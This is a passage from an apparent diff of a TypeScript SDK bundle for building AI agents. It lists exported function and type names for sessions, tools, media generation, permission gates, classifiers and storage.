PLATFORM_SEARCH_PROVIDER_NAME, PlanCapsSchema, PlanStatusSchema, PlanTierSchema, PlatformRequestError, QueueChannel, SEGMENTED_STORE_DEFAULTS, SESSION_NOTICES_MAX, SINGLE_STAGE_PROTOCOL_FINGERPRINT, SPEECH_TO_TEXT_TOOL_TIMEOUT_MS, SdkLifecycleError, SequentialToolExecutor, SpeechAudioSchema, SpeechDataSchema, SpeechToTextArgsSchema, StoreError, TANSR_PROVIDER_ID, TEXT_TO_SPEECH_DEFAULT_MAX_CHARS, TEXT_TO_SPEECH_FORMATS, TEXT_TO_SPEECH_TOOL_TIMEOUT_MS, TOKEN_INVALIDATING_CODES, TOOLS_PLATFORM_DEPRECATED_CODE, TOOL_GUIDE_LABEL, TWO_STAGE_TIMEOUT_MS, TansrSdkError, TextToSpeechArgsSchema, TranscriptDataSchema, TranscriptSegmentSchema, UnavailableChannel, VIDEOGEN_TOOL_MAX_DURATION, VIDEOGEN_TOOL_TIMEOUT_MS, VideoGenArgsSchema, VideoGenDataSchema, accumulateUsage, alignHistoryPage, appBundlePricingUpdates, appBundleRegistryConfig, appSingleStageProtocolFingerprintFor, appendUserMessage, applicationPromptFailureMessage, assembleBundleAdjudicator, assembleManagedModel, assemblePlatformModel, assembleSdkSkills, assembleTokenTierAdjudicator, assembleTooling, attachSdkMcp, attachSdkMcpWithDiscover, attachSdkTaskTool, buildClientFromRegistry, buildSdkToolSet, buildToolGuideSegment, bundleKey, classifierProtocolFingerprintFor, countSpeechCharacters, createAppTokenFetch, createApplicationPromptRefresher, createBlockListClassifier, createBundleCache, createChaosBlobStore, createClassifierTranscriptRecorder, createFileCheckpointStore, createFileSessionStore, createFsBlobStore, createImageGenTool, createMcpHost, createMemoryBlobStore, createNarrator, createPlatformAudioClient, createPlatformImageGenProvider, createPlatformSearchProvider, createPlatformSpeechToTextProvider, createPlatformTextToSpeechProvider, createPlatformVideoGenProvider, createSdkPermissionGate, createSession, createSessionView, createSingleStageClassifier, createSpeechToTextTool, createTextToSpeechTool, createTwoStageClassifier, createUnavailablePlatformAudioClient, createVideoGenTool, defaultAppCapabilities, defineSkill, defineTool, describeApplicationPromptFailure, featuresFingerprintOf, fetchAppBundle, fetchTwpFeatures, fetchTwpHeartbeat, hintFor, hostedToolUniverse, inapplicableTrueBits, initialSessionViewState, isPlanErrorCode, isRenderableArtifact, isSessionHistoryStore, isTokenInvalidatingCode, isTransientAppTokenReason, markSourceFailure, normalizeAppCapabilitiesForPlatform, normalizeEtagValue, parseAppBundle, parseCacheControlMaxAgeMs, parseMediaArtifact, parseSpeechData, parseStage1Output, parseStage2Output, parseTranscriptData, planErrorGuidance, planSpeechInput, planUpgradeUrlOf, platformErrorOf, prepareAdjudication, prepareApplicationPromptTurn, providerSwitchedBody, query, readHistoryPage, reduceSessionView, renderAppContext, renderCallPayloadDetailed, renderClassifierStagePrompt, renderEngineFacts, requestPlatformAudio, resolveAdjudicationPosture, resolveAdjudicatorGovernance, resolveApplicationSystem, resolveBuiltinSelection, resolveInitialMessages, resolvePlatformSelection, resolveStageHandle, runAgent, runIdleCompaction, runStorageConformance, serializeTimeoutPolicy, setSessionViewDelivery, singleStageProtocolFingerprintFor, sliceHistoryPage, stripThinkingParts, subagentModelResolverOf, toStoreError, toToolDef, topologyOf, topologyToolUniverse, validateAdjudicationOptions, viewStateFromHistory, zeroAppCapabilities };
|
|
24662
|
+
export type { ActiveToolStatus, AdjudicationOptions, AdjudicationPosture, AdjudicationWarning, AdjudicatorGovernance, AdjudicatorGovernanceInput, AdjudicatorMoneyFold, AdjudicatorTier, AlignedHistoryPage, Answer, AppBundle, AppBundleAdjudicator, AppBundleContextScheme, AppBundleGovernance, AppBundleImageModel, AppBundleMediaModel, AppBundleModel, AppBundleModelPricing, AppBundlePlan, AppBundlePlatformModels, AppBundleSpeechToTextModel, AppBundleTextToSpeechModel, AppBundleVideoModel, AppCapabilities, AppPlatform, AppTokenRejectReason, AppTokenRequest, AppTokenResponse, ApplicationPromptFailure, ApplicationPromptFailureReason, ApplicationPromptInfo, ApplicationPromptRetry, ApplicationPromptSnapshot, ApplicationPromptTurnOptions, AskUserCallback, AssembleBundleAdjudicatorOptions, AssembleManagedModelOptions, AssemblePlatformModelOptions, AssembleToolingAdjudication, AssembleToolingOptions, AssembledBundleAdjudicator, AssembledManagedModel, AssembledPlatformModel, AssembledSkills, AssembledTooling, AttachSdkTaskToolConfig, AudioAsrConstraints, AudioTtsConstraints, BlobListEntry, BlobMeta, BlobStoreCapabilities, BlockListClassifierConfig, BuildSdkToolSetOptions, BuiltinToolName, BundleCache, BundleCacheKey, BundleCacheResolveInput, BundleCacheScope, BundleCacheStats, ByteRange, Capability, CapabilityPlatformKey, CapabilityToolKey, CapabilityTopology, CapabilityTopologyProfile, ChaosBlobStore, ChaosFaults, ChaosStats, Checkpoint, CheckpointInput, CheckpointMeta, CheckpointOptions, CheckpointRetention, CheckpointStore, CheckpointTrigger, ClassifierAssemblyMode, ClassifierLiveStages, ClassifierProtocol, ClassifierStageBudgetOverrides, ClassifierStageHandle, ClassifierTimeoutPolicy, ClassifierTranscriptRecorder, ClientFeature, StoredSessionMeta as ColdStoredSessionMeta, ColdTierEvent, ColdTierEventType, ColdTierStats, CompactNowOptions, CompactNowResult, CompactOptions, CompactResult, CompactionFailureReason, ConfigDiagnostic, ContextBudgetState, CreateBlockListClassifierOptions, CreateBundleCacheOptions, CreateFileCheckpointStoreOptions, CreateFileSessionStoreOptions, CreateImageGenToolOptions, CreatePlatformAudioClientOptions, CreatePlatformImageGenProviderOptions, CreatePlatformSearchProviderOptions, CreatePlatformSpeechToTextProviderOptions, CreatePlatformTextToSpeechProviderOptions, CreatePlatformVideoGenProviderOptions, CreateSdkPermissionGateOptions, CreateSessionOptions, CreateSpeechToTextToolOptions, CreateTextToSpeechToolOptions, CreateVideoGenToolOptions, DecisionSource, DefineSkillOptions, DefineToolOptions, DefinedSkill, DefinedTool, DeliveryConfig, ErrorView, EventBody, EventEnvelope, FetchedAppBundle, ForkOptions, ForkResult, FsBlobStoreOptions, GateDecision, HistoryCommitMeta, HistoryPage, HistoryPageOptions, HistoryRewriteReason, HookOutcomeStatus, IRBlock, IRErrorKind, IRMessage, IRRequest, IRRole, IRStreamEvent, IRSystemSegment, IRToolContent, IRToolDef, IRToolResultBlock, IRUsage, IdleCompactionInput, IdleCompactionResult, ImageGenArgs, ImageGenData, ImageModelConstraints, ImageModelDescriptor, ImportCheckpointOptions, Integrity, JournalKind, JournalRecord, KernelEvent, KernelState, KeyPredicate, LoadConfigOptions, LoadQuery, LoadResult, LoadedConfig, ManagedQueryOptions, McpClientEvent, McpConnectFactory, McpConnection, McpEventObserver, McpHostOptions, McpServerConfig, McpSessionOption, MediaArtifact, MediaHintAudience, MediaHintFace, MediaModelDescriptor, MediaOutputHosting, MemoryBlobStoreOptions, ModelCallOptions, ModelClient, ModelTransitionBackup, Narrator, NarratorOptions, NarratorVerbosity, PermissionDecision, PermissionGate, PermissionMode, PermissionOptions, PermissionRules, PlanCaps, PlanErrorCode, PlanStatus, PlanTier, PlatformAudioCallOptions, PlatformAudioClient, PlatformAudioFace, PlatformAudioResponse, PlatformCapabilityName, PlatformMediaProviderOptions, PlatformToolContext, PlatformWarning, PreparedAdjudication, Pricing, PromptCachingMode, PromptChannel, ProposedToolCall, ProtocolKind, ProviderProfile, PutOptions, PutResult, QueryBeforeCompactContext, QueryBeforeCompactHook, QueryCompactionOptions, QueryCounters, QueryHandle, QueryLifecycleOptions, QueryOptions, QueryResult, ResourceSettleOptions as QuerySettleOptions, ResourceSettlementResult as QuerySettlement, ResourceSettlementFailure as QuerySettlementFailure, Question, QuestionOption, RenderPayloadOptions, RequestPlatformAudioOptions, ResolvedBundle, ResolvedModel, RestoreOptions, RestoreResult, RunAgentOptions, SdkCleanupHandle, SdkErrorCode, SdkMcpAttachment, SdkSkillsOptions, SdkToolSet, SdkToolsOptions, SdkToolsetRef, SdkWarning, SegmentBlobStore, SegmentationOptions, SegmentedStorePolicy, SendBlocksResult, SequentialToolHandler, SequentialToolResult, SessionBudgetOptions, SessionCheckpointOptions, SessionContextState, SessionCwdChange, SessionDrainOptions, SessionDrainResult, SessionEventSource, SessionHistoryStore, SessionIndexStore, SessionInputCapabilities, SessionInputContent, SessionInputReceipt, SessionInputRejectCode, SessionInputResult, SessionInputSubmission, SessionInputTarget, SessionLifecycleFailure, SessionLifecyclePhase, SessionModelState, SessionNotice, SessionRecord, SessionRecordMeta, SessionStore, SessionStoreCommitMeta, SessionStoreCreateInit, SessionStoreForkInput, SessionUserBlock, SessionView, SessionViewDeliveryOptions, SessionViewOptions, SessionViewReducerState, SessionViewSource, SessionViewState, SessionViewStatus, SetCwdResult, SetModelBinding, SkillsFileSystem, SpeakInput, SpeechAudio, SpeechData, SpeechInputPlan, SpeechInputPlanResult, SpeechToTextArgs, SpeechToTextModelDescriptor, StorageConformanceCase, StorageConformanceOptions, StorageConformanceReport, StoreErrorKind, StoreErrorOptions, StoreInput, StoredSessionMeta, StreamTransform, SwitchModelOptions, SwitchModelResult, SystemPromptPolicy, TansrConfig, TerminalReason, TextDeliveryMode, TextToSpeechArgs, TextToSpeechModelDescriptor, ThinkingDeliveryMode, TodoView, TokenInvalidatingCode, Tool, ToolCallPartStatus, ToolCallView, ToolContext, ToolErrorType, ToolExecutionContext, ToolExecutionOutcome, ToolExecutor, ToolExecutorYield, ToolParameterSpec, ToolResult, ToolResultContent, TranscribeInput, TranscriptData, TranscriptSegment, TwpHeartbeatResult, UIMessage, UIMessagePart, UITextPart, UIThinkingPart, UIToolCallPart, UsageView, VideoGenArgs, VideoGenData, VideoModelConstraints, VideoModelDescriptor, Visibility };
|